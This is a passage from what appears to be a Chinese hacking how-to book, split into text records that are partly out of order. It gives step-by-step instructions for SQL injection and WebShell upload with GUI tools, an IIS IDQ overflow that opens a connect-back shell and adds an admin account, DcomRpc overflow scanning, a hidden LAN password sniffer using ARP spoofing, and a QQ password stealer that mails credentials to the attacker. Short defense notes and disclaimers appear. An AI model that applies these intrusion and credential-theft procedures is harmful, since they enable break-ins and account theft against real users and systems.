在一般情况下，扫描出来的管理后台不止一个，此时可以选择默认管理页面，也可以逐个进行测试，利用破解出的用户名和密码进入其管理后台。"},
    {"text": "未知 第76招 Domain注入工具 旁注WEB综合检测程序（Domain）是一款功能强大的SQL注入工具，集WHOIS查询、上传页面批量检测、Shell上传、数据库浏览及加密解密于一体，可以帮助用户方便地进行旁注检测、综合上传、SQL注入检测、数据库管理。而虚拟主机域名查询、二级域名查询、整合读取、修改Cookies等功能更方便初学者。 1.使用Domain实现注入 Domain主要包括旁注检测、综合上传、SQL注入检测、数据库管理、破解工具以及辅助工具等6个模块，其每个模块都有许多小功能组成，每个检测功能都采用多线程技术。 使用Domain实现注入的具体操作步骤如下。 步骤1：下载并解压Domain压缩文件，双击“Domain注入工具”应用程序图标，即可打开“Domain注入工具”主窗口，如图8-63所示。 图 8-63 “Domain注入工具”主窗口 步骤2：在“旁注检测”选项卡的“输入域名”文本框内输入需要注入的网站域名，单击右侧的 按钮，即可检测出该网站域名所对应的IP地址。单击【查询】按钮，即可在窗口左下部分列表中列出相关的六个站点，如图8-64所示。 图 8-64 “旁注检测”页面 步骤3：选择右侧列表中的任意一个网址，单击【网页浏览】按钮，即可打开“网页浏览”页面，在页面最下方“注入点”列表中列出了所有刚才发现的注入点，如图8-65所示。 图 8-65 “网页浏览”页面 步骤4：单击【二级检测】按钮，即可进入“二级检测”页面，分别输入域名和网址后，即可查询二级域名以及检测整站目录，如图8-66所示。单击【网站批量检测】按钮，即可打开“网站批量检测”页面，在其中查看待检测的几个网址，如图8-67所示。 图 8-66 “二级检测”页面 图 8-67 “网站批量检测”页面 步骤5：单击【添加指定网址】按钮，即可打开【添加网址】对话框，在其中输入想要添加的网址。单击【OK】按钮，即可返回“网站批量检测”页面，如图8-68所示。 图 8-68 【添加网址】对话框 步骤6：单击页面最下方的【开始检测】按钮，即可成功地分析出该网站中所包含的页面，如图8-69所示。单击【保存结果】按钮，即可打开【Save As】对话框，在其中输入想要保存的名称。单击【Save】按钮，即可将分析结果保存至目标位置，如图8-70所示。 图 8-69 成功分析网站中所包含的页面 图 8-70 保存分析页面结果 步骤7：单击【功能设置】按钮，即可打开“功能设置”页面，在其中对浏览网页时的个别选项进行设置，如图8-71所示。 图 8-71 “功能设置”页面 步骤8：在“SQL注入”选项卡中单击【扫描注入点】按钮，即可打开“扫描注入点”标签页，单击【载入查询网址】按钮，即可在“扫描注入点”下方列表中显示关联的网站地址。再选中与前面设置相同的网站地址之后，单击右侧的【批量分析注入点】按钮，即可在“注入点”列表中显示检测到的并可注入的所有注入点，如图8-72所示。 图 8-72 “扫描注入点”标签页 步骤9：单击【SQL注入猜解检测】按钮，即可打开“SQL注入猜解检测”页面，在“注入点”地址栏中输入上面检测到的任意一个注入点，如图8-73所示。 图 8-73 “SQL注入猜解检测”页面 步骤10：单击【开始检测】按钮，并在“数据库”列表下方单击【猜解表名】按钮，在“列名”列表下方单击【猜解列名】按钮；在“检测结果”列表下方单击【猜解内容】按钮，即可在检测信息列表中看到SQL注入猜解检测的所有信息，如图8-74所示。 图 8-74 SQL注入猜解检测的所有信息 2.使用Domain扫描管理后台 使用Domain扫描管理后台的方法很简单，具体的操作步骤如下。 步骤1：在“Domain注入工具”主窗口中选择“SQL注入”选项卡，单击【管理入口扫描】按钮，即可进入“管理入口扫描”标签页，如图8-75所示。 图 8-75 “管理入口扫描”标签页 步骤2：在“注入点”地址栏中输入前面扫描到的注入地址，并根据需要选择“从当前目录开始扫描”单选项，单击【扫描后台地址】按钮，即可开始扫描并在下方的列表中显示所有扫描到的后台地址，如图8-76所示。 图 8-76 扫描后台地址 步骤3：单击【检测设置区】按钮，即可打开“检测设置区”页面，在其中可看到“设置表名”、“设置字段”和“后台地址”三个列表的详细内容。 步骤4：通过单击【添加】按钮和【删除】按钮，可以分别对三个列表的内容进行相应的操作，如图8-77所示。 图 8-77 “检测设置区”页面 3.使用Domain上传WebShell 使用Domain上传WebShell的方法很简单，具体的操作步骤如下。 步骤1：在“Domain注入工具”主窗口中选择“综合上传”选项卡，根据需要选择上传的类型（这里选择类型为：动网上传漏洞）。 步骤2：在“基本设置”栏目中填写检测出的任意一个漏洞页面地址，选择“默认网页木马”单选项，在“文件名”和\"Cookies\"文本框中输入相应内容，单击【上传】按钮，即可在“返回信息”栏目中看到需上传的WebShell地址，如图8-78所示。 图 8-78 上传WebShell地址 步骤3：单击【打开】按钮，即可根据上传的WebShell地址打开对应的页面。"},
    {"text": "未知 第77招 PHP注入利器ZBSI ZBSI是一款PHP（Hypertext Preprocessor，超文本预处理器）注入辅助利用，可运行在Windows 2000\\XP\\2003上。使用该工具可检测PHP网站中是否存在注入漏洞和字段数目，还可将其作为一个浏览器来打开指定的网页。 使用ZBSI检测注入点的具体操作步骤如下。 步骤1：在百度搜索引擎中搜索网址中含有\"php?id=\"字符的网页，其显示结果如图8-79所示。 图 8-79 搜索网址中含有\"php？id=\"的网址 步骤2：下载并运行ZBSIV1.0，运行其中的“ZBSI V1.0PHP注入工具.exe”，即可打开【ZBSI V1.0“PHP注入工具”】主窗口，如图8-80所示。 图 8-80 【ZBSI V1.0“PHP注入工具”】主窗口 步骤3：在“注入地址”文本框中输入搜索到的网址，单击【检测注入】按钮，即可对其检测。待检测完毕后，将会显示该网站是否可以进行PHP注入，如图8-81所示。 图 8-81 对网站进行注入检测 步骤4：在ZBSI中还可以对得到的字段数目进行检测，单击【字段数目】按钮，即可看到【猜解得到的字段数目】对话框，如图8-82所示。单击【确定】按钮，即可在【ZBSI V1.0“PHP注入工具”】主窗口中看到含有猜解到字段的网址，如图8-83所示。 图 8-82 【猜解得到的字段数目】对话框 图 8-83 得到含有猜解到字段的网址 步骤5：ZBSI还附带有浏览器功能，在【ZBSI V1.0“PHP注入工具”】主窗口的“网站地址”文本框中输入要浏览的网页地址后，单击【浏览】按钮，即可浏览相应的网页，如图8-84所示。 图 8-84 在ZBSI中浏览网页 在各种黑客横行时，如何实现自己PHP代码安全，并保证程序和服务器的安全，是一个很重要的问题。在编写PHP代码时，对变量进行初始化和过滤，可以有效防御PHP注入。 未知 第78招 IDQ溢出攻击 Microsoft公司的IIS在缺省安装情况下带了一个索引服务器（Index Server，在Windows 2000系统中名为Index Service）。在缺省安装时，IIS支持两种脚本映射：管理脚本（.ida文件）和Internet数据查询脚本（.idq文件）。这两种脚本都由一个ISAPI扩展idq.dll来处理和解释。由于idq.dll在处理某些URL请求时存在一个未经检查的缓冲区，如果攻击者提供一个特殊格式的URL，就可能引发一个缓冲区溢出。通过精心构造发送数据，攻击者可改变程序执行流程，执行任意代码。成功地利用这个漏洞，攻击者可以远程获取\"Local System\"权限。 1.入侵IDQ漏洞 IDQ漏洞是先前发现的众多漏洞中的一种。然而入侵IDQ漏洞需要先准备Snake IIS溢出工具、X-Scan扫描器和NC.exe三个工具。具体的入侵过程如下。 步骤1：先使用X-Scan扫描器对某个IP地址段进行扫描，找出具有IDQ漏洞的计算机。 步骤2：运行Snake IIS溢出工具，在其中输入被攻击主机的IP地址、选择对方主机的系统类型，并设置一个监听的端口号，默认为813，如图8-85所示。 图 8-85 设置攻击选项 步骤3：单击【IDQ溢出】按钮，若连接成功则显示如图8-86所示的提示信息。如果不成功，则将提示不能连接主机，如图8-87所示。此时打开“命令提示符”窗口，使用Telnet命令即可进入对方主机，如图8-88所示。 图 8-86 连接成功 图 8-87 连接失败提示 图 8-88 “命令提示符”窗口 步骤4：用户还可先使用nc.exe在本地主机中打开一个监听端口，如图8-89所示。在溢出工具中选取“溢出后，主动连接到IP/Port”单选项，在“要绑定的命令”文本框中输入\"cmd.exe/c dir C:\\\"，如图8-90所示。 图 8-89 打开并监听端口 步骤5：单击【IDQ溢出】按钮，则提示发送shellcode成功，并在本地主机的“命令提示符”窗口中自动显示被攻击主机C盘根目录内容，如图8-91所示。 图 8-90 设置溢出选项 图 8-91 本地主机的“命令提示符”窗口 步骤6：在连接成功后，就可以使用\"net user\"命令在对方主机中创建一个属于自己的用户账号，还可使用\"net localgroup\"命令将新建的账号升级为管理员权限。 提示 如果溢出工具不能成功连接，可以选择另一个SP补丁系统再次尝试。若还不能成功连接，则更换目标主机。 2.防范IDQ入侵 对于存在IDQ漏洞的主机，其防御措施有如下两条： 删除.ida/.idq ISAPI脚本映射。 及时下载Microsoft公司的系统补丁并安装。补丁可能因具体硬件不同而不同，所以用户需要向原设备制造商索取。 每种方法用不同的工具组合，都会产生不同的效果。所以成功之余也要多实验练习，才能举一反三。不过切记：在不违法的情况下练习才行。"},
    {"text": "未知 第79招 DcomRpc溢出工具 DcomRpc漏洞往往是利用溢出工具来完成入侵的，其实“溢出”入侵在一定程度上也可看成系统内的“间谍程序”，它对黑客们的入侵一呼即应，一应即将所有权限拱手送人。"},
    {"text": "1.DcomRpc漏洞描述 RPC（Remote Procedure Call）服务作为操作系统中一个重要服务，其描述为“提供终结点映射程序（endpoint mapper）以及其他RPC服务”。"},
    {"text": "步骤1：选择【开始】→【设置】→【控制面板】→【管理工具】菜单项，即可打开“管理工具”窗口，如图8-92所示。 图 8-92 “管理工具”窗口 步骤2：双击“服务”图标，即可打开“服务”窗口，如图8-93所示。"},
    {"text": "图 8-93 “服务”窗口 图 8-94 RPC属性对话框 从显示服务可以看出受其影响的程序有很多，其中包括了DCOM（Distributed Component Object Model，分布式COM）接口服务。"},
    {"text": "若想对DCOM进行相应的配置，具体的操作步骤如下。 步骤1：在【运行】对话框“运行”栏中输入\"Dcomcnfg\"命令，即可弹出“组件服务”窗口，如图8-95所示。 图 8-95 “组件服务”窗口 步骤2：单击“组件服务”前面的“+”号，依次展开各项，直到出现“DCOM配置”子菜单项为止，即可根据需要对DCOM中各对象进行相关配置，如图8-96所示。"},
    {"text": "图 8-96 DCOM配置 因为DCOM可以远程操作其他计算机中的DCOM程序，而使用了用于调用其他计算机所具有的函数的RPC（远程过程调用），所以利用这个漏洞，攻击者只需发送特殊形式的请求到远程计算机上的135端口，轻则造成拒绝服务攻击，严重地甚至于远程攻击者能以本地管理员权限执行任何操作。 2.DcomRpc入侵实战 目前已知的DcomRpc接口漏洞有MS03-026（DcomRpc接口堆栈缓冲区溢出漏洞）、MS03-039（堆溢出漏洞）和一个RPC包长度域造成的堆溢出漏洞和另外几个拒绝服务漏洞。 要利用这个漏洞，可以发送畸形请求给远程服务器监听的特定DcomRpc端口，如135、139、445等任何配置了RPC端口的机器。 在进行DcomRpc漏洞溢出攻击前，用户需下载DcomRpc.xpn作为X-scan插件，复制到X-scan所在文件夹的Plugin文件夹中，扩展X-scan的扫描DcomRPC漏洞的功能，也可下载rpcdcom.exe专用DcomRPC漏洞扫描工具，扫描具有DcomRPC漏洞的目标主机，使用网上诸多的DcomRpc溢出工具进行攻击。 下面以DcomRpc接口漏洞溢出为例讲述溢出的方法，具体的操作方法如下。"},
    {"text": "步骤1：将下载好的DcomRpc.xpn插件复制到X-scan的Plugin文件夹中，作为X-Scan插件，如图8-97所示。 图 8-97 Plugin文件夹 步骤2：运行X-scan扫描工具，选择“设置”→“扫描参数”菜单项，即可弹出【扫描参数】对话框。"},
    {"text": "选择“全局设置”→“扫描模块”选项，即可看到增加的“DcomRpc溢出漏洞”模块，如图8-98所示。 图 8-98 【扫描参数】对话框 步骤3：在使用X-Scan扫描到具有DcomRpc接口漏洞的主机时，可以看到在X-Scan中有明显的提示信息。 如果使用RpcDcom.exe专用DcomRPC溢出漏洞扫描工具，则可先打开“命令提示符”窗口，进入RpcDcom.exe所在文件夹，执行“RpcDcom-d IP地址”命令后，开始扫描并看到最终的扫描结果，如图8-99所示。 图 8-99 扫描DcomRpc溢出漏洞 如果操作成功，则执行溢出操作将立即得到了被入侵主机的系统管理员权限。"},
    {"text": "对于任何漏洞来说，打补丁是最方便的方法了，因为一个补丁的推出往往包含了专家们对相应漏洞的彻底研究，所以打补丁也是最有效的方法之一。"},
    {"text": "不过，由于该工具的特征代码追加到了病毒定义库文件中，如果在安装了该公司的病毒扫描软件的计算机中安装IE、en，就有可能将其视为病毒。"},
    {"text": "具体方法为：选择【开始】→【设置】→【控制面板】→【管理工具】菜单项，即可打开【管理工具】窗口。 双击“服务”图标，即可打开【服务】窗口。"},
    {"text": "双击打开\"Remote Procedure Call\"属性窗口，在属性窗口中将启动类型设置为“已禁用”，这样自下次启动开始RPC就将不再启动。 要想将其设置为有效，需在注册表编辑器中将\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\RpcSs\"的\"Start\"的值由0X04变成0X02后，重新启动机器即可。"},
    {"text": "依次选择“控制台根目录”→“组件服务”→“计算机”→“我的电脑”选项，即可进入“我的电脑”子文件夹。 图 8-100 “组件服务”窗口 步骤2：若对于本地计算机，则需要右击“我的电脑”子文件夹，从快捷菜单中选择“属性”菜单项，即可弹出【我的电脑属性】对话框。"},
    {"text": "图 8-101 【我的电脑属性】对话框 步骤3：若对于远程计算机，则需要右击“计算机”文件夹，从快捷菜单中选择“新建”→“计算机”子菜单项，即可弹出【添加计算机】对话框，如图8-102所示。 图 8-102 新建计算机 步骤4：在【添加计算机】对话框中输入计算机名称或单击右侧的【浏览】按钮，即可搜索计算机，如图8-103所示。"},
    {"text": "图 8-103 【添加计算机】对话框 步骤5：在添加计算机后，在计算机名称列表中右击该计算机名称，从快捷菜单中选择“属性”菜单项，在打开的属性窗口的“默认属性”选项卡设置界面中清除“在这台计算机上启用分布式COM”复选框之后，单击【确定】按钮，即可以更改设置并退出。"},
    {"text": "1.Virtual PC安装流程 在Virtual PC程序中没有创建虚拟机前启动Virtual PC程序，系统将自动弹出创建虚拟机的安装向导，以方便用户创建虚拟机。 在Virtual PC程序中创建虚拟机的具体步骤如下。 步骤1：在Virtual PC界面中单击【新建】按钮，即可打开【新建虚拟机向导】对话框，如图1-128所示。 单击【下一步】按钮，即可打开【选项】对话框，在其中可以选取“新建一台虚拟机”单选项，如图1-129所示。 图 1-128 【新建虚拟机向导】对话框 图 1-129 【选项】对话框 步骤2：单击【下一步】按钮，即可打开【虚拟机的名称和位置】对话框，在其中可以指定虚拟机文件保存的名称和位置，如图1-130所示。 图 1-130 【虚拟机的名称和位置】对话框 步骤3：单击【下一步】按钮，即可打开【操作系统】对话框，在其中可以选择当前虚拟机所安装的系统版本，如图1-131所示。 单击【下一步】按钮，即可打开【内存】对话框，在其中可以设置虚拟机运行时使用内存的大小，如图1-132所示。 图 1-131 【操作系统】对话框 图 1-132 【内存】对话框 步骤4：单击【下一步】按钮，即可打开【虚拟硬盘选项】对话框，在其中根据需要选择一种所需要使用的硬盘方式，这里选取“新建虚拟硬盘”单选项，如图1-133所示。 图 1-133 【虚拟硬盘选项】对话框 步骤5：单击【下一步】按钮，即可打开【虚拟硬盘位置】对话框，在其中可以指定虚拟硬盘保存的名称与路径，并可以指定虚拟硬盘的大小，如图1-134所示。 图 1-134 【虚拟硬盘位置】对话框 步骤6：单击【下一步】按钮，即可打开【完成新建虚拟机向导】对话框。 再单击【完成】按钮，即可结束虚拟机的创建操作，如图1-135所示。 在创建好虚拟机之后，返回Virtual PC操作界面，在其中选择已经创建的虚拟机，如图1-136所示。 图 1-135 【完成新建虚拟机向导】对话框 图 1-136 选择创建的虚拟机 步骤7：最后单击【设置】按钮，即可打开【设置新建虚拟机】对话框，在其中可以设置其选项，如创建新硬盘、调整内存大小等，如图1-137所示。 图 1-137 【设置新建虚拟机】对话框 在创建好虚拟机后就相当于组装了一台电脑，此时虚拟机还是裸机，需要安装上操作系统后才能使用。 下面简单介绍一下在虚拟机中安装操作系统的方法。 步骤1：通过【开始】菜单运行Virtual PC程序，进入其操作界面，选择已经创建的虚拟机，单击【启动】按钮，即可启动所选虚拟机，如图1-138所示。 图 1-138 启动虚拟机 步骤2：在虚拟机启动过程中按【Del】键，即可进入其CMOS界面，在其中设置其有关选项，如图1-139所示。 图 1-139 CMOS界面 步骤3：按【F10】按钮，将CMOS设置保存并重新启动虚拟机，在光驱中放入Windows XP系统的安装光盘，使用虚拟机从光驱引导系统，如图1-140所示。 按实际安装操作系统的方式进行，即可完成虚拟机操作系统的安装。 图 1-140 虚拟机系统安装引导界面 小技巧 在Virtual PC虚拟机窗口中单击后，鼠标指针就会被锁定在虚拟机窗口中，如果要在主机窗口中使用鼠标，可按【Alt】键将其释放。 如果按【Alt+Enter】组合键，则可使虚拟机在全屏或窗口显示模式之间进行切换。 2.Virtual PC网络设置 为了能够更好地完成对虚拟机的操作，还需安装Virtual PC虚拟机的附加模块，以实现在虚拟机中调整屏幕的刷新率、使用网络功能和使用鼠标指针整合功能（使鼠标指针在主机与虚拟机之间随意移动，而不会将鼠标指针局限于虚拟机或主机区域内），还可共享主机硬盘上的文件夹，以及在虚拟机中通过共享文件夹来使用主机物理硬盘上的数据。"},
    {"text": "图 1-141 新建虚拟机主界面 图 1-142 【新建虚拟机】提示框 步骤2：单击【继续】按钮，虚拟机将启动附加模块的安装向导，如图1-143所示。 图 1-143 欢迎安装界面 步骤3：单击【下一步】按钮，虚拟机系统开始安装附加模块并显示安装进度，如图1-144所示。 在安装完毕后，即可弹出【安装程序已完成】对话框，如图1-145所示。 图 1-144 正在安装界面 图 1-145 【安装程序已完成】对话框 步骤4：单击【完成】按钮，即可结束虚拟机附加模块的安装操作，同时弹出【虚拟机添加件】提示框，提示“虚拟机附加模块只有在操作系统安装完毕后才能安装。 在虚拟机中安装好附加模块后需要重新启动虚拟机，附加模块的功能才能生效”信息，如图1-146所示。 图 1-146 【虚拟机添加件】提示框 在安装好附加模块后，用户可以利用共享功能，将主机上的文件或文件夹与虚拟机共享，通过虚拟机能够使用主机上的数据。"},
    {"text": "步骤1：在启动虚拟机后，单击虚拟机窗口上方的【编辑】→【设置】菜单项，即可打开当前虚拟机的设置对话框，在其中选取“共享文件夹”选项，如图1-147所示。 图 1-147 【设置新建虚拟机】对话框 步骤2：单击【共享文件夹】按钮，即可弹出如图1-148所示的对话框。 在其中选择需要共享的文件夹，设置驱动器名称，若需要永久性共享此文件夹，则可勾选“始终共享”复选框，否则该共享在虚拟机重启后将失效。 图 1-148 【浏览文件夹】对话框 步骤3：单击【确定】按钮，即可将所选文件夹添加共享文件夹列表中，如图1-149所示。 在共享文件夹设置完毕之后，打开“我的电脑”窗口，即可看到“共享文件夹”的图标，如图1-150所示。 图 1-149 添加共享文件夹 图 1-150 【我的电脑】窗口"},
    {"text": "未知 第9章 账号盗取与安全防范 重点提示 ♂用密码监听器揪出内鬼 ♂用“防盗专家”为QQ保驾护航 ♂在线破解QQ号码 ♂疯狂盗号的“QQ机器人” ♂QQ登录号码修改专家 ♂MSN密码查看帮凶MessenPass ♂联众密码也需小心 ♂防范“传奇密码邮差” 本章精粹： 本章主要揭露了黑客用于盗号的一些武器，主要包括：密码监听器、QQ掠夺者、QQ破密使者、QQ机器人以及QQ登录号码修改专家等，有助于读者很快看清各种诡异诈术的真相，提前做好安全防范措施。 盗取别人的账号和密码是非常不道德的行为，本章涉及的一些黑客工具只为让读者了解黑客是如何盗取别人的账号和密码，或使用这些工具找回自己丢失的号码，从而达到有效地保护自己号码安全的效果。 未知 第80招 用密码监听器揪出内鬼 密码监听器用于监听基于网页的邮箱密码、POP3收信密码、FPT登录密码、网络游戏密码等。在某台电脑上运行该软件，可以监听局域网中任意一台电脑登录网页邮箱、使用POP3收信、FPT登录等的用户名和密码，并对密码进行显示、保存或发送到用户指定的邮箱。 1.“密码监听器”盗号披露 使用“密码监听器”的具体操作步骤如下。 步骤1：下载并解压“密码监听器”压缩文件，双击文件夹中的\"pswmonitor.exe\"应用程序图标，即可弹出“密码监听器”主窗口，如图9-1所示。 图 9-1 “密码监听器”主窗口 步骤2：选择“发送与保存”选项卡，在“发送参数”和“接收参数”选项中设置好邮箱以及密码信息，如图9-2所示。单击【测试】按钮，如果输入正确则会弹出一个提示文本框“测试邮件发送成功”。 图 9-2 “发送与保存”选项卡 步骤3：为防止其他人对该软件进行设置和更改，还可自己设置一个查看密码。选择“密码保护”选项卡，分别在“新密码”和“确认密码”文本框中输入密码，如图9-3所示。单击【应用】按钮，即可弹出【请输入密码】对话框，在以后进行操作时只有正确地输入密码才行，如图9-4所示。 图 9-3 “密码保护”选项卡 图 9-4 【请输入密码】对话框 步骤4：为操作方便，还可设置热键。选择“其他”选项卡，在“显示/隐藏界面热键设置”选项中设置一个热键，最好不要使用软件的默认设置，如图9-5所示。在“启动参数设置”选项中勾选“启动时隐藏界面”和“系统启动时自动启动”复选框，单击【应用】按钮。也可单击【在线更新过滤器】按钮，在线更新该程序监听使用的过滤器，以监听到更多密码。 图 9-5 “其他”选项卡 步骤5：在设置好之后，选择“适配器”选项卡，根据需要选择要监听的网络适配器，如拨号网络适配器、网卡等，以适应不同上网方式，如图9-6所示。如果选择一个适配器后监听不到密码，可以尝试选择其他适配器。 图 9-6 “正在监听”选项卡 步骤6：对于局域网中的计算机，如果不能监听到其他计算机上的密码，也可以勾选“ARP欺骗监听局域网”选项。单击【隐藏】按钮，就可以监听密码了。 注意 对于指定IP地址范围的ARP欺骗，应尽量缩小ARP欺骗的IP地址范围，以降低ARP欺骗对网络的影响。 由于设置了隐藏软件界面，一切都是在隐蔽处进行的，通常不会被发现，但一定要记住自己设置的热键，否则，自己也无法打开软件来查看密码了。 2.找出“卧底”拒绝监听 对于这种防不胜防的局域网内部密码监听，可以采用如下方法进行防范： 安装杀毒软件，并及时升级到最新版本。 如果已经被监听了，则需要找到安装“密码监听器”的机器，对其注册表进行修改。"},
    {"text": "未知 第81招 用“QQ掠夺者”盗取QQ密码 “QQ掠夺者”是常用的盗取QQ号码工具，不但可神不知鬼不觉地截获QQ账号密码，还可在本机查询并将获得的账号和密码，悄悄发送到用户所指定邮箱中，并在本地计算机上保存获取结果，以供远程接叫或从本地查询（需输入设置好的密码，才能调出结果查看）。 QQ掠夺者还有智能判断能力，对已被获取账号和密码的QQ将不会重复获取；若没有获取或没有获取成功的QQ，将不知疲倦地不断去获取该账号和密码，直到成功获取。 1.QQ盗号曝光 黑客盗取QQ的具体操作步骤如下。 步骤1：退出正在运行的QQ。下载并安装QQ掠夺者之后将自动运行，正确设置各选项之后，每次开机都将自动载入。 步骤2：在如图9-7所示的“QQ掠夺者”主窗口中，如果要远程邮箱接收获取的账号密码，则需要勾选“远程邮箱接收”复选框，才可进行其中的各项设置。 图 9-7 “QQ掠夺者”主窗口 步骤3：勾选“远程邮箱接收”复选框之后，只要在邮箱地址栏中输入正确的邮箱地址，即可自动填充用户名、SMTP邮件服务器地址，并在“密码”栏中输入邮箱密码。 步骤4：在设置好上述各项参数之后，单击【测试远程接收设置】按钮，即可进行测试。如果测试通过，则说明所有设置正确，此时，获取的账号和密码将会自动发送到所设置邮箱中，如图9-8所示。如果没有通过测试，则可能是开始设置的密码或邮箱地址不正确。如果确定密码和邮箱地址无误，则可能系统自动设置的用户名和SMTP邮件服务器地址不正确（这种情况很少），如果能确定用户名、SMTP邮件服务器地址，也可手动设置后再进行测试。 图 9-8 测试通过提示 步骤5：设置管理密码就是设置调用参数设置窗口的密码之后，按\"Ctrl+Alt+F6\"组合键再次调用窗口时，将提示用户必须输入密码。 步骤6：勾选“禁用任务管理器”复选框，再按\"Ctrl+Alt+F6\"组合键，将禁止使用Windows任务管理器，保护软件非法中断。如果对邮箱地址作了修改，则在单击【保存】按钮前一定要先进行测试，调出\\隐藏主窗口的快捷键是\"Ctrl+Alt+F6\"。 步骤7：在完成设置之后，如果在这台机器上登录QQ，则对应的密码将被记录下来，此时只需单击【本地查看掠夺品】按钮，就可以进行查看并收取密码了。 这样，只要用户在安装有该软件的机器上登录了QQ，其账号和密码就相当于拱手送人了。没有登录过的QQ会显示为“还没送上门，别急！”。 2.防范QQ掠夺者 如果想将此软件在本机上删除，则可选择【开始】→【所有程序】→【QQ掠夺者】→【卸载】菜单项，或运行C:\\QQspo文件夹中的Unwise.exe卸载软件。当然，在进行卸载时也要进行密码身份验证，如果不是软件安装的主人，将无法卸载。对于在公共场所上网的QQ用户应该特别注意被这种方法盗取QQ，如果条件允许，最好是先用杀毒软件对计算机进行杀毒之后再进行登录。同时，也不要轻易接收QQ好友发过来的文件，说不定就是一个盗取QQ的软件，一旦运行了，QQ也就没有任何安全性可言了。"},
    {"text": "未知 第82招 用“防盗专家”为QQ保驾护航 前面介绍了黑客经常使用的一些盗取QQ密码的“武器”，并给出了具体的防范方法，这里再介绍一款防盗“专家”：QQ密码防盗专家，让用户进行QQ聊天从此无忧。 1.关闭广告和取回QQ密码 从网站下载后，双击qqpc2005.exe程序，指定安装路径，即可将QQ密码防盗专家程序安装到系统中，进入QQ密码防盗专家的安装文件夹。双击qqpc.exe程序，即可进入其操作界面，如图9-9所示。 图 9-9 QQ密码防盗专家界面 1）关闭广告。如果想使QQ中的无线QQ使用向导、腾讯QQ系统广播、腾讯Flash动画、QQ发送信息中的动画广告不再出现，可在QQ密码防盗专家界面中选择【主窗体】按钮，然后同时选取“自动关闭QQ中的[无线QQ使用向导]广告”、“自动关闭QQ中的[腾讯QQ系统广播]广告”、“自动关闭QQ中的[腾讯Flash动画]广告”、“自动关闭[发送消息]中的[动画广告]”复选框，如图9-10所示。同时，用户还可以选取“后台自动关闭IE浏览器弹出的广告窗口”复选框，来阻止IE浏览器中的弹出式广告。 图 9-10 关闭广告 2）取回密码。在QQ密码防盗专家界面中单击【取回密码】按钮，即可使用不同的方式来取回自己遗忘的QQ密码，如图9-11所示。该功能只作为忘记密码时取回使用，但为了防止他人随意取回密码，它取回的密码中前两位数均用“*”号代替，且没有注册的用户只能找回最后一次上线的QQ用户及密码。只有注册用户才能享受本机任意密码的取回功能。 图 9-11 取回密码界面 如单击【所有密码】按钮，则可先输入注册QQ密码防盗专家的用户名和注册码。单击【取回】按钮，即可得到在本机中登录过的所有QQ密码，如图9-12所示。 图 9-12 取回所有密码 如果QQ密码已被别人窃取，则可单击【邮箱取回】按钮，通过该功能可以找回自己被盗走的QQ密码，而且距离被盗的时间越短越容易找回，如图9-13所示。 图 9-13 设置邮箱取回功能 提示 在“取回密码”窗口中，还可以通过选取“禁止使用‘文件下载’”、“禁止使用‘注册表’”、“实时监控禁止用户删除任何文件及文件夹”复选框来启动相应功能。 2.内核修改和病毒查杀 为了防止最新盗密软件对QQ界面中的（回车键）及（鼠标按键）进行记录来取得QQ密码，用户可以在QQ密码防盗专家原有的防盗方式上设定快捷键来进行登录，因为是用户随机设定的功能键进行登录，因此可以绕过盗密软件对（回车键）及（鼠标按键）的检测。用法是在完成密码输入之后，再按快捷键，而不要按回车键或单击鼠标。这就是“内核修改”功能。在QQ密码防盗专家界面中单击【内核修改】按钮，即可通过内核修改功能来防止QQ密码被盗，如图9-14所示。 图 9-14 使用内核修改功能 可以选取“每次启动后隐藏主窗口（可用Ctrl+F6快捷键）”复选框来隐藏启动后的QQ密码防盗专家窗口；选取“修改QQ界面系统内核（可起到全面防盗作用，推荐）”复选框，并设置快捷键来登录QQ，从而起到防盗的作用。 选取“当用户按下快捷键登录时，先隐藏QQ密码框2秒钟”复选框，还可以增强QQ密码防盗的功能。若选取“去掉QQ浏览器并还原成IE浏览器方式打开网页”复选框，则可默认使用IE打开网页，而不使用腾讯公司的TM浏览器。 在QQ密码防盗专家界面中，单击【QQ病毒专杀】按钮，在显示的菜单中选择一种杀毒方式，如图9-15所示。选取“免费杀毒（免费版）”菜单项，则进入病毒查杀窗口，如图9-16所示。单击【绝对查杀（推荐使用）】按钮，则显示更多病毒查杀功能，如图9-17所示。在这里用户可以实现系统进程管理、注册表管理、设置防火墙、扫描端口、修复系统漏洞、查杀系统木马和病毒等多种功能。 图 9-15 选择杀毒方式 图 9-16 病毒查杀窗口 图 9-17 更多病毒查杀功能 3.用无敌外挂实现QQ防盗 使用QQ无敌外挂模式可以不在QQ用户登录界面中输入密码，只在QQ密码防盗专家中输入QQ密码即可实现自行登录，这时QQ的登录过程是在内存中进行的，而QQ密码框中的密码实际上是假密码，则无论什么QQ盗密软件都无法盗取用户的QQ密码了。 具体使用的操作步骤如下。 步骤1：在QQ密码防盗专家界面中单击【无敌外挂】按钮，即可弹出一个如图9-18所示窗口。单击【第1步（输入）】按钮，在其中输入自己的QQ号码和登录密码。 图 9-18 设置无敌外挂 步骤2：单击【第2步（测试）】按钮，即可启动QQ并使用先前设置的QQ号码和登录密码进行登录。若登录成功，则表示通过测试；若不能成功登录，则需要重新设置QQ号码和登录密码。通过测试后，单击【第3步（保存）】按钮，将设置结果保存下来。 步骤3：单击【第4步（绑定）】按钮，指定QQ程序的安装路径并进行绑定。在QQ密码防盗专家界面中单击【无敌外挂】按钮，选取“启用QQ密码保护之无敌模式”复选框，并在“输入QQ密码”文本框中输入绑定的假QQ号码，如图9-19所示。单击“QQ无敌登录”按钮，即可使用假QQ号码进行登录。 图 9-19 使用无敌模式 还可以在“无敌外挂”界面中使用自动申请QQ号码功能来为自己申请免费的QQ号码。"},
